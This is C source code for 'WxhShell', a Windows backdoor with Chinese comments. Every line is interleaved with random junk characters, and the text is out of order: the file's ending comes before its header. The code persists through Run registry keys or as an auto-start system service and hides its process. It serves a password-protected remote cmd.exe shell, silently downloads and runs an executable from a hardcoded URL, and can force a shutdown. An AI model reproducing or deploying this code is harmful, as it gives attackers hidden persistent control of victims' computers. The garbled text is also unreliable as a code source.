t7c } PROCESS_BASIC_INFORMATION; j~;;l!({i H~noJIw# PROCNTQSIP NtQueryInformationProcess; JK]R*!{n h.)h@$d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *U;'OWE[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9'?se5\ aSC9&Nf; HANDLE hProcess; )p<WDiX1!e PROCESS_BASIC_INFORMATION pbi; + WVIZZ8 _A98 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Uh2}ic if(NULL == hInst ) return 0; <a4TO8 %Y]=1BRk} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (D<(6? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NQfYxB1Yr: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O.,3| <3TA>Dz if (!NtQueryInformationProcess) return 0; ndink$ F>zl9Vi< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rYY$wA@ if(!hProcess) return 0; LCs__. <A>)[u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8"%RCE -'`TL$ CloseHandle(hProcess); \\,f{?w n`ViTwd]MQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S${Zzt" if(hProcess==NULL) return 0; 7Ym(n8 oRM)%N# HMODULE hMod; Yw'NX5#)g char procName[255]; ).5RPAP unsigned long cbNeeded; D f4+^B,1 hoM|P8
}rh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k1^\| LJFG0 W CloseHandle(hProcess); Ej=3/RBsV Tlq-m2] if(strstr(procName,"services")) return 1; // 以服务启动 'm3t|:nMU mj&57D\fq return 0; // 注册表启动 .B72C[' c } hB9Ee@ .pPm~2]z // 主模块 b>\?yL/%+? int StartWxhshell(LPSTR lpCmdLine) zce`\ /: { U!(@q!>G SOCKET wsl; \3Pv# ) BOOL val=TRUE; ~j>D=! int port=0; 0v)bA}k struct sockaddr_in door; %zBCq"y Es5f*P0 if(wscfg.ws_autoins) Install(); m/B6[ N~^yL <O port=atoi(lpCmdLine); {2&m`Dbm JIm4vS if(port<=0) port=wscfg.ws_port; T!RT<& 9Fo fr WSADATA data; ke_[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `'I{U5;e ]:(W_qEA if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; omSM:f_~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "{D6J809 door.sin_family = AF_INET; |4(~%| 8{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); bWWXc[O2&( door.sin_port = htons(port); %FZ2xyI. {ZU1x C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .zg8i_ closesocket(wsl); \OILWQ[/ return 1;
asJ!NvVG' } '1?\/,em 1'.7_EQ4T if(listen(wsl,2) == INVALID_SOCKET) { z~*g ~RKS! closesocket(wsl); @"-</x3o return 1; n">u mM;Eh } nDS}^Ba Wxhshell(wsl); ^y!;xc$(Qs WSACleanup(); ]rehW} )s_n return 0; cD*}..-/4 lot%N(mB` } kIHDeo%K} <%.5hCTp97 // 以NT服务方式启动 VKp*9%9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fhPkEvJ { Sr?#wev]rn DWORD status = 0; qfY5Ww$8 DWORD specificError = 0xfffffff; ^I8Esl8 ncu`vYI. serviceStatus.dwServiceType = SERVICE_WIN32; N;Dp~(1
J1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >F1kR\! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (jjTK'0[ serviceStatus.dwWin32ExitCode = 0; zGKyN@o serviceStatus.dwServiceSpecificExitCode = 0; C+[%7vF1 serviceStatus.dwCheckPoint = 0; Kt@M)# serviceStatus.dwWaitHint = 0; ^d}gpin }KUd7[s hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GSclK|#tE if (hServiceStatusHandle==0) return; q6Rr.A ,.iRnR
status = GetLastError(); W1fW}0
if (status!=NO_ERROR) ~5Pb&+<$ { 6E(Qx~iL serviceStatus.dwCurrentState = SERVICE_STOPPED; Y8M]Lwj serviceStatus.dwCheckPoint = 0; }En serviceStatus.dwWaitHint = 0; !+>v[(OzM serviceStatus.dwWin32ExitCode = status; qm/Q65>E serviceStatus.dwServiceSpecificExitCode = specificError; L86n}+
P\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); E )Gw0]G return; O[tvR:Nh } Q!-
0xlx P-F)%T[ serviceStatus.dwCurrentState = SERVICE_RUNNING; 3 LDS
Z1f serviceStatus.dwCheckPoint = 0; --;@2:lg{ serviceStatus.dwWaitHint = 0; &'cL%. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vEf4HZ&w } \(226^|j 8fA_p}wp // 处理NT服务事件,比如:启动、停止 GjoIm? VOID WINAPI NTServiceHandler(DWORD fdwControl) #^m0aB7r { =qN2Xg/ switch(fdwControl) rpeJkG@+ { SJD@&m%?[ case SERVICE_CONTROL_STOP: u\&b4=nL serviceStatus.dwWin32ExitCode = 0; 8!.ojdyn serviceStatus.dwCurrentState = SERVICE_STOPPED; U*90m~) serviceStatus.dwCheckPoint = 0; J+rCxn?;g serviceStatus.dwWaitHint = 0; V5+SWXZ { HhO".GA SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-:O`RK } 5F`;yh+e return; KiG p[eb case SERVICE_CONTROL_PAUSE: c/c$D;T serviceStatus.dwCurrentState = SERVICE_PAUSED; }Zl&]e break; 21k5I #U case SERVICE_CONTROL_CONTINUE: NM ]bgpP serviceStatus.dwCurrentState = SERVICE_RUNNING; zdXkR] break; $kR N
h6 case SERVICE_CONTROL_INTERROGATE: OL4z%mDZi break; Y5fLmPza }; {U&.D
[{& SetServiceStatus(hServiceStatusHandle, &serviceStatus); 74!oe u.> } 8r3A~ 3?Y 2L // 标准应用程序主函数 9x,RvWTb int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >S$Z { ss;R8:5 8~5cJPi6 // 获取操作系统版本 a0r"N[& OsIsNt=GetOsVer(); l7&$}x- GetModuleFileName(NULL,ExeFile,MAX_PATH); hiNEJ_f SG6sw]x // 从命令行安装 j*~T1i if(strpbrk(lpCmdLine,"iI")) Install(); 6e&>rq6C ~]ZpA-*@Ut // 下载执行文件 %,+leKs if(wscfg.ws_downexe) { Q:J^" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n3J53| %v WinExec(wscfg.ws_filenam,SW_HIDE); NcY608C } Df3rV '/~ K~ ;45Z2 if(!OsIsNt) { JxyB( // 如果时win9x,隐藏进程并且设置为注册表启动 B]tIi^ HideProc(); |_uaS StartWxhshell(lpCmdLine); ~'R(2[L!; } Nj("|`9" else IIq1\khh if(StartFromService()) ;sHN/eF // 以服务方式启动 >>[G1 StartServiceCtrlDispatcher(DispatchTable); vTv]U5%:>% else )V!dBl"Gq // 普通方式启动 bXS:x StartWxhshell(lpCmdLine); c6Y\n%d& ;NNe!}C return 0; kI%%i>Y} } \>Efd /lafve~ y\&>ZyOY np~~mdmRK =========================================== MxBTX4ES N/GQt\tV< 41fJ%f`
G {[+2n]f_G Q
X%&~ ,m,)I " q 4V7 F{ELSKcp. #include <stdio.h> _'#x^D
#include <string.h> Y@ZaJ@%9@ #include <windows.h> xU%w=0z< #include <winsock2.h> E= `6-H{ #include <winsvc.h> 1T:Y 0 #include <urlmon.h> 6 PxW8pn @^uH`mc #pragma comment (lib, "Ws2_32.lib") 8uA,iYD
#pragma comment (lib, "urlmon.lib") ]THPSw_y8 =|=.>?t6Z0 #define MAX_USER 100 // 最大客户端连接数 x]z2Z* #define BUF_SOCK 200 // sock buffer @BNEiOAZ# #define KEY_BUFF 255 // 输入 buffer p019)X|vx 1Z,[|wJ #define REBOOT 0 // 重启 ^Idle*+ #define SHUTDOWN 1 // 关机 C)cwAU|h# /Wf^hA
#define DEF_PORT 5000 // 监听端口 F4e:ZExJ
TT-h;'nJ #define REG_LEN 16 // 注册表键长度 ApjOj/ #define SVC_LEN 80 // NT服务名长度 zq%D/H6J, frBX{L // 从dll定义API !Kv@\4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A19;1#$= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A4ISNM7R[ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J/3_C6UZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'TAUE{{ S/ibb& // wxhshell配置信息 Rar"B*b;$ struct WSCFG { 7==f\%, int ws_port; // 监听端口 N~F
RM& x char ws_passstr[REG_LEN]; // 口令 Zk[&IBE_ int ws_autoins; // 安装标记, 1=yes 0=no 77Bgl4P char ws_regname[REG_LEN]; // 注册表键名 pFJB'=c char ws_svcname[REG_LEN]; // 服务名 k#5}\w! char ws_svcdisp[SVC_LEN]; // 服务显示名 c5mZG7- char ws_svcdesc[SVC_LEN]; // 服务描述信息 U"50_O char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +d|mR9^([ int ws_downexe; // 下载执行标记, 1=yes 0=no asC_$tsMe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +CI1V>6^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I<A6Z&*un *s;|T?~i }; Zy09L}5 9P D_8x6`z // default Wxhshell configuration ox
; struct WSCFG wscfg={DEF_PORT, HEGKX] "xuhuanlingzhe", a/< Csad 1, >fIk;6<{ "Wxhshell", S~Id5T:, "Wxhshell", H}:LQ~_2 "WxhShell Service", )TmHhNo "Wrsky Windows CmdShell Service", 'fL"txW "Please Input Your Password: ", $t/x;<.H 1, \);4F=h}f "http://www.wrsky.com/wxhshell.exe", h`MF#617 "Wxhshell.exe" K'h1szW }; |{@FMxn|q wYlf^~#" // 消息定义模块 TW^/sx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <?D\+khlq char *msg_ws_prompt="\n\r? for help\n\r#>"; ~l2aNVv; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F H1Z2 char *msg_ws_ext="\n\rExit."; eW>3XD4 char *msg_ws_end="\n\rQuit."; w4LScvBg char *msg_ws_boot="\n\rReboot..."; *~/OOH$" char *msg_ws_poff="\n\rShutdown..."; \qUKP"dr char *msg_ws_down="\n\rSave to "; nW|wY. F V,4pi char *msg_ws_err="\n\rErr!"; ,y%3mR_~ char *msg_ws_ok="\n\rOK!"; _Ob@` `|Or{ih char ExeFile[MAX_PATH]; !!o8N<NU int nUser = 0; 1 n%?l[o HANDLE handles[MAX_USER]; b]a@ int OsIsNt; "U\JV)N p^iRPI SERVICE_STATUS serviceStatus; RQFI'@Ks SERVICE_STATUS_HANDLE hServiceStatusHandle; jg&E94}+ c`fG1s // 函数声明 )yo
a int Install(void); ^V%rag
int Uninstall(void); Wpc|`e< int DownloadFile(char *sURL, SOCKET wsh); _{|D int Boot(int flag); xW[ -n void HideProc(void); |7#[ (%D! int GetOsVer(void); P4T h_B7 int Wxhshell(SOCKET wsl); jzK5-;b void TalkWithClient(void *cs); 4H+Ked&Oq int CmdShell(SOCKET sock); s{w[b\rA int StartFromService(void); !p1qJ [ int StartWxhshell(LPSTR lpCmdLine); MaD3[4@# FE o269Ur VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sN("+ sZ.n VOID WINAPI NTServiceHandler( DWORD fdwControl ); B(F,h+ajy .I@CS>j // 数据结构和表定义 H}LS??P SERVICE_TABLE_ENTRY DispatchTable[] = \a+(=s(; { CB&iI' {wscfg.ws_svcname, NTServiceMain}, .SWt3|Pi5 {NULL, NULL} 2y%,p{=" }; mYc.x #Oha(mRY // 自我安装 )z8!f}:De= int Install(void) %0Y=WYUH> { KLX/O1B char svExeFile[MAX_PATH]; 'Z`$n8 HKEY key; ~8m=1)A{( strcpy(svExeFile,ExeFile); jLJ1u/l>; Jxqh)l // 如果是win9x系统,修改注册表设为自启动 F]mgmYD% if(!OsIsNt) { #oJ5k8Wy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;}z\i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u0`%+:]0 RegCloseKey(key); =YG _z^' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ` gW<M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mm5$>
[%U RegCloseKey(key); Uje|`<X return 0; ?GTU=gpQ } v2,%K`pAU } QKE9R-KTE } +-B^Z On else { 6:%
L![FX zS< jd~ // 如果是NT以上系统,安装为系统服务 Ez{MU@Fk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ql<rU@ if (schSCManager!=0) b~BIz95 { Z@gnsPN^r SC_HANDLE schService = CreateService Bb{!Yh].:A ( @/&b;s73 schSCManager, ESoAzo,u wscfg.ws_svcname, {iG@U=> wscfg.ws_svcdisp, 3zT_^;:L SERVICE_ALL_ACCESS, |;A/|F0-e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VzJ5.mRQ SERVICE_AUTO_START, S^Au#1e
SERVICE_ERROR_NORMAL, H[b}kZW:a svExeFile, c)&>$S8* NULL, `Bn=?9 NULL, ,^8 MB. NULL, NU(AEfF NULL, BGr.yEy NULL "g+z !4b# ); @u._"/K if (schService!=0) *1@:'rJ { { BEo & CloseServiceHandle(schService); iBudmT8 CloseServiceHandle(schSCManager); gN {'UDg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .qob_dRA strcat(svExeFile,wscfg.ws_svcname); EVQ0l@K
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tvd0R$5} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vEQ<A<[Z RegCloseKey(key); g+PPW88P; return 0; TEsnN i
1 } D7"p}PD>~ } [i]r-|_K CloseServiceHandle(schSCManager); \C5%\4 } dd|W@Xp - } Iak0 [6Ey x7T+> return 1; 6Fy@s } Y\v-,xPm @DC)]C2 // 自我卸载 k
n8N,,+
int Uninstall(void) :c8n[+5 { Lhh;2r/?78 HKEY key; zX{ .^| EC<b3 if(!OsIsNt) { D=RU`?L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3?&h^UX RegDeleteValue(key,wscfg.ws_regname); BGzI RegCloseKey(key); @
\2#Dpr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { amQz^^ RegDeleteValue(key,wscfg.ws_regname); KjB/.4lLq RegCloseKey(key); woq)\;CK return 0; 5.tvB } Tp<k<uKD } bzi|s5!'< } ;3C:%!CdA] else { ;7Oi! BC TFDm5XJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p4VSma_( if (schSCManager!=0) PNSMcakD { Eaad,VBtU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ml>( tec if (schService!=0) (Y(E% { @;wzsh >o if(DeleteService(schService)!=0) { dV 8iwI CloseServiceHandle(schService); p$;I' CloseServiceHandle(schSCManager); FbACTeB return 0; }jF+`!*! } dPjhq(8 zU CloseServiceHandle(schService); Kud'pZ{P } 0"[`>K~7a8 CloseServiceHandle(schSCManager); !p
8psi0 } O_K_f+7 } u~Tg&0V30 /-0'
Qa+* return 1; =FW5Tkw0 } }1+%_|Y-E b4,jN~ci // 从指定url下载文件 ZI ?W5ISdg int DownloadFile(char *sURL, SOCKET wsh) 2H?d+6Pt3 { 6xgv:, HRESULT hr; o4=Yu7L char seps[]= "/"; Uz8hANN0_ char *token; r{+aeLu char *file; .gZZCf&? char myURL[MAX_PATH]; S T8!i`Q$ char myFILE[MAX_PATH]; 7y*ZXT]f k3@HI| strcpy(myURL,sURL); VGH/X.NJ token=strtok(myURL,seps); <rK=9"$y(t while(token!=NULL) |;;!8VO3J { F}ukZ
DB file=token; Qs+ k)e, token=strtok(NULL,seps); F'J [y"~_ } DpL8'Dib :X ., GetCurrentDirectory(MAX_PATH,myFILE); heD,&OX strcat(myFILE, "\\"); T% CxvZ strcat(myFILE, file); {`.O|_b send(wsh,myFILE,strlen(myFILE),0); nx4P^PC send(wsh,"...",3,0); P0\eBS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {^RG%
&S if(hr==S_OK) w4MwD?i]R return 0; w;`m- 9<Y else `n-vjjG%# return 1; K%,$ V,# gAE!aKy } |ViU4&d* u2qV 6/ // 系统电源模块 +*EKR int Boot(int flag) Mz|L-62 { Da,&+fZI! HANDLE hToken; B7"Fp TOKEN_PRIVILEGES tkp; StM/
Q&+c.S if(OsIsNt) { V;[p438o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lk(S2$)* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2bA#D%PHD tkp.PrivilegeCount = 1; R+.
N n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0o68rF5^s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cgNt_8qC if(flag==REBOOT) { ~ v1W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Wf5 return 0; $Qq_qTJu?G } ~u/@rqF else { 41;)-(1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ic~Z_?p return 0; k46gY7y,9 } 9.Ap~Ay. } Kx]> fHK else { #Go(tS~o if(flag==REBOOT) { W]LQ &f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <3#<I)# return 0; ;nf&c;D } Iu6W=A else { R@ QQNYU.D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :_c*m@=z( return 0; 0!IPcZjY7 } |a(Q4 e/, } ]GS~i+ =M RSH/l;ii return 1; ;F,qS0lzE } !"(u_dFw 8?Wgawx // win9x进程隐藏模块 |4xo4%BQ> void HideProc(void) 4hNwKe"Ki { aiR5/
ZD .wri5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9[f%;WaS if ( hKernel != NULL ) o_:Qk;t { 6<76O~hNZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0o;~~\fq. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <[8@5 ?&& FreeLibrary(hKernel); "
~n3iNkP } :C}H y yam}x*O\xn return; BA`:miH< } UG=I~{L u[mY!(>nQ // 获取操作系统版本 p)z-W( int GetOsVer(void) afy/K'~ { 0:PSt_33F OSVERSIONINFO winfo; SauHFl8? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zkG>u,B} GetVersionEx(&winfo); 3*2I$e!Jt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^cb)f_90 return 1; W2n*bNI else ioWJj.% return 0; NE[y|/ } 0&B:\ YME[%c2x // 客户端句柄模块
RK;;b~
int Wxhshell(SOCKET wsl) %6Rp,M9= { -=>U
=| SOCKET wsh; () <`t}FQ struct sockaddr_in client; B{=009. DWORD myID; <hMtE/05B Ik-oI=>. while(nUser<MAX_USER) 1(#RN9 { Za9$Hh/X int nSize=sizeof(client); :r^klJ(m wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9^p32G if(wsh==INVALID_SOCKET) return 1; @jKDj]\ Dx0O'uwR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - &NQ\W if(handles[nUser]==0) 86#-q7aX closesocket(wsh); ${@q?iol else /Bm#`?(ia nUser++; :F9q> } qdO[d|d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m1i4 , n/?eZx1 return 0; BMY>a } 5<^'Cy \{:%v#ZZ // 关闭 socket 1ThwvF%Qo void CloseIt(SOCKET wsh)
>kZ6f 4 { g?gqkoI closesocket(wsh); + q
l nUser--; iT[oKD0) ExitThread(0); jwq\stjD } S$\.4*_H\ ;raz6DRO // 客户端请求句柄 Jxn3$ void TalkWithClient(void *cs) k*OvcYL1A { >eRZ+|k?N "0b?+ 3_{G SOCKET wsh=(SOCKET)cs; x'zihDOI char pwd[SVC_LEN]; 0s)cVYppe char cmd[KEY_BUFF]; OWZS3Y+ char chr[1]; q;ZLaX\bFl int i,j; d&5c_6oW >6IXuq while (nUser < MAX_USER) { /MhS=gVxM ?Q;kZmQl if(wscfg.ws_passstr) { f.J9) lfb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TZ:34\u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +8^5C,V //ZeroMemory(pwd,KEY_BUFF); 5St`@ i=0; 2+,5p while(i<SVC_LEN) { |7]?>- Yg[ v/[] // 设置超时 0hFH^2%UY fd_set FdRead; |>Z&S=\I) struct timeval TimeOut; xv^Sh}\} FD_ZERO(&FdRead); W"dU1] FD_SET(wsh,&FdRead); pXve02b1B TimeOut.tv_sec=8; (1rJFl! TimeOut.tv_usec=0; TF%3uH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (=`Z0)= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6k:y$,w IKGTsA; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tp%|AD" pwd=chr[0]; `bzr_fJ if(chr[0]==0xd || chr[0]==0xa) { I88Zrhw pwd=0; KS
b(R/T break; T<f2\q8Uo= } Q,D0kS P i++; <{E;s)hD? } J6eJIKK w2 /* `YO // 如果是非法用户,关闭 socket g})6V if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '!Hhd![\=| } 3R'.}^RN ,.[.SU#V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P87ld._ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #fwzFS \XL Ica3 while(1) { 4sb )^3T .F4oo = ZeroMemory(cmd,KEY_BUFF); y+?=E g +mivqR~{{ // 自动支持客户端 telnet标准 :G^"e j=0; >~h>#{& while(j<KEY_BUFF) { 4pLQ"&>}80 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f( ]R/'o cmd[j]=chr[0]; mPckf if(chr[0]==0xa || chr[0]==0xd) {
(L`l+t1 cmd[j]=0; ;0;3BH A break; f9vcf# 2 } ~l(G6/R j++; _t$lcOT } $<
A8gTJ ftO+.-sm< // 下载文件 {-o7w0d_ if(strstr(cmd,"http://")) { D}mo\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); sP9 ^IP if(DownloadFile(cmd,wsh)) 7X(rLd
6# send(wsh,msg_ws_err,strlen(msg_ws_err),0); MhHr*!N"} else 4,j4E@?pG9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tDEXm^B2Sv } -"2 <h:# else { $eK8GMxZ# ]&&I|K_ switch(cmd[0]) { 8o! )WaX2uDA? // 帮助 _u#/u2< case '?': { Qe7"Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <dq,y> break; GA'*58 } M7`UoTc+>d // 安装 1f+*Tmc5]Q case 'i': { X=fPGyhZ if(Install()) bs:C1j\& send(wsh,msg_ws_err,strlen(msg_ws_err),0); )EhTM-1 else "g
x5XW& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @:S$|D~ break; yfPCGCOW? } \%w7D6dEZ // 卸载 \B*k_W/r@ case 'r': { #rh0r` if(Uninstall()) '}wG"0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); vs5
D:cZ} else {KW&wsI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6$W -? break; D
/,|pC } 5Z^$`$/.v# // 显示 wxhshell 所在路径 6&g!ZE'G case 'p': { 38"8,k char svExeFile[MAX_PATH]; O{;M6U8C\ strcpy(svExeFile,"\n\r"); RA*_&Ll&!C strcat(svExeFile,ExeFile); M3hy5j(b send(wsh,svExeFile,strlen(svExeFile),0); 0|WOReskK break; ],BJ}~v,X } Xulh.:N} // 重启 0|],d?-h case 'b': { >g5T;NgH9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /AK*aRU^ if(Boot(REBOOT)) G/x3wR send(wsh,msg_ws_err,strlen(msg_ws_err),0); bl(BA}< else { @"q~AY closesocket(wsh); c28oLT1|D ExitThread(0); >xxXPvM<` } 0!3!?E < break; ==jkp
U*= } "U/NMGMj // 关机 qg_>`Bv"a case 'd': { rg#qSrHp send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8r7/IGFg if(Boot(SHUTDOWN)) 27h/6i3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); t9KH|y else { Ktg&G<%J0 closesocket(wsh); ]=$-B ExitThread(0); o'x_g^ Y } n r'YWW break; }e&KO?x+ } ANA2S*r // 获取shell J8qu]{0I" case 's': { >m)2ox_B CmdShell(wsh); Y-}hNZn"{ closesocket(wsh); htdn$kqG
ExitThread(0); ~NNaLl
break; ZaEBdBv } ?X8K$g // 退出 :kf3_?9rc case 'x': { 3L
1lq . send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @B>%B EC CloseIt(wsh); : L6-{9$ break; GI'&g@?u } F1Zk9%L%9$ // 离开 \K4CbZ,. case 'q': { IkE'_F send(wsh,msg_ws_end,strlen(msg_ws_end),0); ve64-D closesocket(wsh); PuUon6bZ WSACleanup(); D7Rbho< exit(1); a$+e8> break; a9mr-`< } 8KtF<`A) } I&Eg-96@ } N#2nH1C PBPJ/puW // 提示信息 #b]}cwd! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;6\Ski0=l } e>)}_b } >mGGJvTx `Tm8TZd66 return; tyGnG0GK } ^{6UAT~!R l*m]2"n] // shell模块句柄 sKE*AGFLd int CmdShell(SOCKET sock) *y[~kWI { \8C*O{w STARTUPINFO si; egIS rmL+X ZeroMemory(&si,sizeof(si)); 5
\.TZMB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TZ[Fu{gZ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c'wU O3S PROCESS_INFORMATION ProcessInfo; U4mh! char cmdline[]="cmd"; aaqjE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OFPd6,(E return 0; x.yb4i=Jq } Z"+rg9/p .DV#-tUh // 自身启动模式 R!M|k%( int StartFromService(void) &bO |